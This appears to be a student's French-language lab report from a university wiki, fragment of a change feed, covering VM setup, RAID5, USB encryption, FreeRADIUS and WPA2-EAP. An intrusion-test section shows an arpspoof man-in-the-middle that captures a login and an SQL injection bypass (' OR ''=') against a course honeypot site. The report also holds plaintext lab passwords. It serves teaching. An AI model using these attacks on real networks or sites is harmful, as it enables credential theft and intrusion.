En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte.&lt;br /&gt;
&lt;br /&gt;
=== Chiffrement de données ===&lt;br /&gt;
&lt;br /&gt;
L'objectif est le cryptage de données contenues par une clé USB. Protégée par un mot de passe, il faudra le connaître pour accéder à son contenu.&lt;br /&gt;
&lt;br /&gt;
Je branche une clé USB sur mon PC et la sécurise&lt;br /&gt;
  cryptsetup open /dev/sdb cle --type : plain&lt;br /&gt;
      password : licorne&lt;br /&gt;
Dans ce cas, on peut utiliser deux types de cryptage : Plain ou Luks, j'ai choisi plain conseillé par M. Redon.&lt;br /&gt;
Je lance la commande lsbk pour visualiser les périphériques disponibles comme sdb : sdb1, sdb2 et je trouve aussi clé ajoutée après la commande cryptsetup&lt;br /&gt;
Je supprime les signatures et les avertissements&lt;br /&gt;
  wipefs --all --force /dev/sdb&lt;br /&gt;
  &lt;br /&gt;
  ls /dev/mapper&lt;br /&gt;
     clé : nom du périphérique chiffré&lt;br /&gt;
     /dev/mapper cle&lt;br /&gt;
&lt;br /&gt;
Système de fichier pour mapper.&lt;br /&gt;
Création &lt;br /&gt;
  mkfs /dev/mapper/cle&lt;br /&gt;
Montage&lt;br /&gt;
  mount /dev/mapper/cle  /mnt&lt;br /&gt;
  dh -h&lt;br /&gt;
Donne espace disque libre sur chaque système de fichier monté.&lt;br /&gt;
On a quelque chose sur la clé.&lt;br /&gt;
Création de fichier&lt;br /&gt;
  nano /mnt/toto &lt;br /&gt;
Démonter la clé&lt;br /&gt;
  umount /mnt&lt;br /&gt;
  crypt setup close cle --type = plain&lt;br /&gt;
/cle/mapper n'est plus accessible&lt;br /&gt;
Sur un autre ordinateur, la clé est invisible. Même si je fais un open, je l'a vois mais il me demande le mot de passe qui est licorne (choisi au début).&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...               &lt;br /&gt;
&lt;br /&gt;
Le wifi SSID_Lulya est visible et accessible.&lt;br /&gt;
&lt;br /&gt;
Dot11Radio 0 : 2.5 GHz&lt;br /&gt;
&lt;br /&gt;
Dot11rRadio 1 : 5 GHz&lt;br /&gt;
&lt;br /&gt;
Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.&lt;br /&gt;
&lt;br /&gt;
Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.&lt;br /&gt;
   ap#sh dot11 bssid&lt;br /&gt;
&lt;br /&gt;
== Supplémentaires ==&lt;br /&gt;
&lt;br /&gt;
Puisque j'ai été la plus avancée au niveau de la réalisation de la VM et de certaines parties concernant le service internet, les tests d'intrusion et les réalisations, j'ai voulu aidé mes camarades. &lt;br /&gt;
&lt;br /&gt;
Je me souviens de Nathan qui a été confiné cas contact que j'ai aidé à configurer sa machine virtuelle et lancé son domaine via gandi.net. Il a pu rattraper le retard et donc bien avancé.&lt;br /&gt;
&lt;br /&gt;
Puis, au niveau de de la sécurisation du site web par certificat et par DNSSEC.&lt;br /&gt;
&lt;br /&gt;
J'ai aussi réalisé d'autres travaux comme l'utilisateur username.&lt;br /&gt;
&lt;br /&gt;
Une interconnexion, j'ai connecté mes routeurs 6509 et 3560E, ils ont alors été en conflits mais les VM répondent tout de même.&lt;br /&gt;
&lt;br /&gt;
J'ai aussi eu un moment une connexion avec SSID_Lulya avec mon portable sans internet ce qui est normal.&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54720</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54720"/>
				<updated>2020-12-15T16:20:25Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Sécurisation de serveur DNS par DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid       //Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
